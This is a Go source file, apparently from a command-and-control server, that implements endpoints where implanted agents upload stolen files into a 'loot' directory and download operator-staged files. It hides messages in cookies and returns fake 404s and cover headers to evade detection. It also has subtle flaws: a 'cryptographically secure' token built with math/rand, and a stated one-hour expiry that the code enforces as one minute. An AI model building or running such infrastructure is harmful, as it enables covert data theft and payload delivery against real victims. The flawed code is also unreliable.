333 lines
9.1 KiB
Go
333 lines
9.1 KiB
Go
package main
|
|
|
|
import (
|
|
"encoding/hex"
|
|
"fmt"
|
|
"io"
|
|
"log"
|
|
"math/rand"
|
|
"net/http"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
"sync"
|
|
"time"
|
|
)
|
|
|
|
// Modified handleFileUpload handles file upload from agent with URL decoding
|
|
func handleFileUpload(w http.ResponseWriter, r *http.Request) {
|
|
// Only allow POST requests
|
|
if r.Method != "POST" {
|
|
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
|
|
return
|
|
}
|
|
|
|
// Get domain and profile
|
|
domain := getDomain(r)
|
|
profile := getProfileForDomain(domain)
|
|
|
|
// Verify this is an agent communication
|
|
if !IdentifyAgent(r) {
|
|
log.Printf("Non-agent attempted file upload from %s", r.RemoteAddr)
|
|
// Serve normal content to maintain cover
|
|
http.Error(w, "Not Found", http.StatusNotFound)
|
|
return
|
|
}
|
|
|
|
log.Printf("[+] File upload request from agent at %s", r.RemoteAddr)
|
|
|
|
// Extract message from cookie
|
|
message := ""
|
|
cookies := r.Cookies()
|
|
found := false
|
|
|
|
for _, cookie := range cookies {
|
|
if cookie.Name == profile.MessageCookieName {
|
|
// URL decode the cookie value to handle special characters
|
|
decodedValue, err := urlDecode(cookie.Value)
|
|
if err != nil {
|
|
log.Printf("Failed to decode cookie value: %v", err)
|
|
continue
|
|
}
|
|
message = decodedValue
|
|
log.Printf("[+] Upload message cookie found (decoded): %s", message)
|
|
found = true
|
|
break
|
|
}
|
|
}
|
|
|
|
if !found {
|
|
log.Printf("No message cookie found in upload request from %s", r.RemoteAddr)
|
|
// Debug: Print all available cookies
|
|
log.Printf("Available cookies:")
|
|
for _, cookie := range cookies {
|
|
log.Printf(" %s: %s", cookie.Name, cookie.Value)
|
|
}
|
|
http.Error(w, "Bad Request", http.StatusBadRequest)
|
|
return
|
|
}
|
|
|
|
// Parse the message to get agent ID and file info
|
|
messageParts := strings.SplitN(message, "~", 4)
|
|
if len(messageParts) < 3 {
|
|
log.Printf("Invalid upload message format from %s: %s", r.RemoteAddr, message)
|
|
http.Error(w, "Bad Request", http.StatusBadRequest)
|
|
return
|
|
}
|
|
|
|
agentID := messageParts[0]
|
|
messageType := messageParts[1] // Should be "FILE"
|
|
fileName := messageParts[2]
|
|
|
|
if messageType != "FILE" {
|
|
log.Printf("Invalid message type for file upload: %s", messageType)
|
|
http.Error(w, "Bad Request", http.StatusBadRequest)
|
|
return
|
|
}
|
|
|
|
// Extract just the filename from the full path for saving
|
|
// Handle both forward and backward slashes
|
|
baseName := fileName
|
|
if strings.Contains(fileName, "\\") {
|
|
parts := strings.Split(fileName, "\\")
|
|
baseName = parts[len(parts)-1]
|
|
} else if strings.Contains(fileName, "/") {
|
|
parts := strings.Split(fileName, "/")
|
|
baseName = parts[len(parts)-1]
|
|
}
|
|
|
|
log.Printf("[+] File upload from agent %s, original path: %s, saving as: %s", agentID, fileName, baseName)
|
|
|
|
// Create uploads directory if it doesn't exist
|
|
uploadsDir := fmt.Sprintf("loot/%s", agentID)
|
|
if err := os.MkdirAll(uploadsDir, 0755); err != nil {
|
|
log.Printf("Failed to create uploads directory: %v", err)
|
|
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
|
|
return
|
|
}
|
|
|
|
// Create the file using the base name
|
|
filePath := filepath.Join(uploadsDir, baseName)
|
|
outFile, err := os.Create(filePath)
|
|
if err != nil {
|
|
log.Printf("Failed to create file %s: %v", filePath, err)
|
|
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
|
|
return
|
|
}
|
|
defer outFile.Close()
|
|
|
|
// Copy the request body (file data) to the file
|
|
bytesWritten, err := io.Copy(outFile, r.Body)
|
|
if err != nil {
|
|
log.Printf("Failed to write file data: %v", err)
|
|
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
|
|
return
|
|
}
|
|
|
|
logMessage := fmt.Sprintf("File uploaded from agent %s: %s -> %s (%d bytes)", agentID, fileName, baseName, bytesWritten)
|
|
log.Print(logMessage)
|
|
SendMessageToAllOperators(logMessage)
|
|
|
|
// Add domain-specific headers to maintain cover
|
|
addDomainHeaders(w, profile)
|
|
|
|
// Send success response
|
|
w.WriteHeader(http.StatusOK)
|
|
w.Write([]byte("Upload successful"))
|
|
|
|
log.Printf("[+] File upload completed: %s", filePath)
|
|
}
|
|
|
|
// FileMapping represents a token-to-file mapping
|
|
type FileMapping struct {
|
|
Token string
|
|
FilePath string
|
|
AgentID string
|
|
FileName string
|
|
Created time.Time
|
|
}
|
|
|
|
// Global file token storage (use database/redis in production)
|
|
var (
|
|
fileTokens = make(map[string]FileMapping)
|
|
fileTokenMutex = sync.RWMutex{}
|
|
)
|
|
|
|
// Generate cryptographically secure token
|
|
func generateSecureToken() string {
|
|
bytes := make([]byte, 16)
|
|
rand.Read(bytes)
|
|
return hex.EncodeToString(bytes)
|
|
}
|
|
|
|
// Create download token for a file
|
|
func CreateDownloadToken(agentID, filePath, fileName string) string {
|
|
token := generateSecureToken()
|
|
|
|
fileTokenMutex.Lock()
|
|
defer fileTokenMutex.Unlock()
|
|
|
|
fileTokens[token] = FileMapping{
|
|
Token: token,
|
|
FilePath: filePath,
|
|
AgentID: agentID,
|
|
FileName: fileName,
|
|
Created: time.Now(),
|
|
}
|
|
|
|
log.Printf("[+] Created download token %s for agent %s, file: %s", token, agentID, fileName)
|
|
return token
|
|
}
|
|
|
|
// Get file mapping by token
|
|
func getFileMapping(token string) (FileMapping, bool) {
|
|
fileTokenMutex.RLock()
|
|
defer fileTokenMutex.RUnlock()
|
|
|
|
mapping, exists := fileTokens[token]
|
|
return mapping, exists
|
|
}
|
|
|
|
// Remove token (for one-time use)
|
|
func removeToken(token string) {
|
|
fileTokenMutex.Lock()
|
|
defer fileTokenMutex.Unlock()
|
|
|
|
delete(fileTokens, token)
|
|
}
|
|
|
|
// Handle file download requests from agents
|
|
func handleFileDownload(w http.ResponseWriter, r *http.Request) {
|
|
// Only allow GET requests
|
|
if r.Method != "GET" {
|
|
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
|
|
return
|
|
}
|
|
|
|
// Get domain and profile
|
|
domain := getDomain(r)
|
|
profile := getProfileForDomain(domain)
|
|
|
|
// Verify this is an agent communication
|
|
if !IdentifyAgent(r) {
|
|
log.Printf("Non-agent attempted file download from %s", r.RemoteAddr)
|
|
http.Error(w, "Not Found", http.StatusNotFound)
|
|
return
|
|
}
|
|
|
|
log.Printf("[+] File download request from agent at %s", r.RemoteAddr)
|
|
|
|
// Extract message from cookie
|
|
message := ""
|
|
cookies := r.Cookies()
|
|
found := false
|
|
|
|
for _, cookie := range cookies {
|
|
if cookie.Name == profile.MessageCookieName {
|
|
// URL decode the cookie value to handle special characters
|
|
decodedValue, err := urlDecode(cookie.Value)
|
|
if err != nil {
|
|
log.Printf("Failed to decode cookie value: %v", err)
|
|
continue
|
|
}
|
|
message = decodedValue
|
|
log.Printf("[+] Download message cookie found (decoded): %s", message)
|
|
found = true
|
|
break
|
|
}
|
|
}
|
|
|
|
if !found {
|
|
log.Printf("No message cookie found in download request from %s", r.RemoteAddr)
|
|
http.Error(w, "Bad Request", http.StatusBadRequest)
|
|
return
|
|
}
|
|
|
|
// Parse the message to get agent ID and token
|
|
messageParts := strings.SplitN(message, "~", 4)
|
|
if len(messageParts) < 3 {
|
|
log.Printf("Invalid download message format from %s: %s", r.RemoteAddr, message)
|
|
http.Error(w, "Bad Request", http.StatusBadRequest)
|
|
return
|
|
}
|
|
|
|
agentID := messageParts[0]
|
|
messageType := messageParts[1] // Should be "DOWNLOAD"
|
|
token := messageParts[2]
|
|
|
|
if messageType != "DOWNLOAD" {
|
|
log.Printf("Invalid message type for file download: %s", messageType)
|
|
http.Error(w, "Bad Request", http.StatusBadRequest)
|
|
return
|
|
}
|
|
|
|
// Get file mapping for token
|
|
mapping, exists := getFileMapping(token)
|
|
if !exists {
|
|
log.Printf("Invalid or expired token from agent %s: %s", agentID, token)
|
|
http.Error(w, "Not Found", http.StatusNotFound)
|
|
return
|
|
}
|
|
|
|
// Verify token belongs to this agent
|
|
if mapping.AgentID != agentID {
|
|
log.Printf("Token %s does not belong to agent %s (belongs to %s)", token, agentID, mapping.AgentID)
|
|
http.Error(w, "Forbidden", http.StatusForbidden)
|
|
return
|
|
}
|
|
|
|
// Check if token has expired (1 hour)
|
|
if time.Since(mapping.Created) > time.Minute {
|
|
log.Printf("Token %s has expired for agent %s", token, agentID)
|
|
removeToken(token) // Clean up expired token
|
|
http.Error(w, "Token Expired", http.StatusGone)
|
|
return
|
|
}
|
|
|
|
// Check if file still exists
|
|
if _, err := os.Stat(mapping.FilePath); os.IsNotExist(err) {
|
|
log.Printf("File no longer exists: %s", mapping.FilePath)
|
|
removeToken(token) // Clean up invalid token
|
|
http.Error(w, "File Not Found", http.StatusNotFound)
|
|
return
|
|
}
|
|
|
|
log.Printf("[+] Serving file to agent %s: %s (token: %s)", agentID, mapping.FileName, token)
|
|
|
|
// Add domain-specific headers to maintain cover
|
|
addDomainHeaders(w, profile)
|
|
|
|
// Set content disposition to suggest filename
|
|
w.Header().Set("Content-Disposition", fmt.Sprintf("attachment; filename=\"%s\"", mapping.FileName))
|
|
w.Header().Set("Content-Type", "application/octet-stream")
|
|
|
|
// Open and serve the file
|
|
file, err := os.Open(mapping.FilePath)
|
|
if err != nil {
|
|
log.Printf("Failed to open file %s: %v", mapping.FilePath, err)
|
|
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
|
|
return
|
|
}
|
|
defer file.Close()
|
|
|
|
// Get file info for logging
|
|
fileInfo, _ := file.Stat()
|
|
fileSize := fileInfo.Size()
|
|
|
|
// Stream file to client
|
|
bytesServed, err := io.Copy(w, file)
|
|
if err != nil {
|
|
log.Printf("Error streaming file to agent %s: %v", agentID, err)
|
|
return
|
|
}
|
|
|
|
logMessage := fmt.Sprintf("File downloaded by agent %s: %s (%d bytes)", agentID, mapping.FileName, bytesServed)
|
|
log.Print(logMessage)
|
|
SendMessageToAllOperators(logMessage)
|
|
|
|
// Remove token
|
|
removeToken(token)
|
|
|
|
log.Printf("[+] File download completed: %s (%d bytes served)", mapping.FilePath, fileSize)
|
|
}
|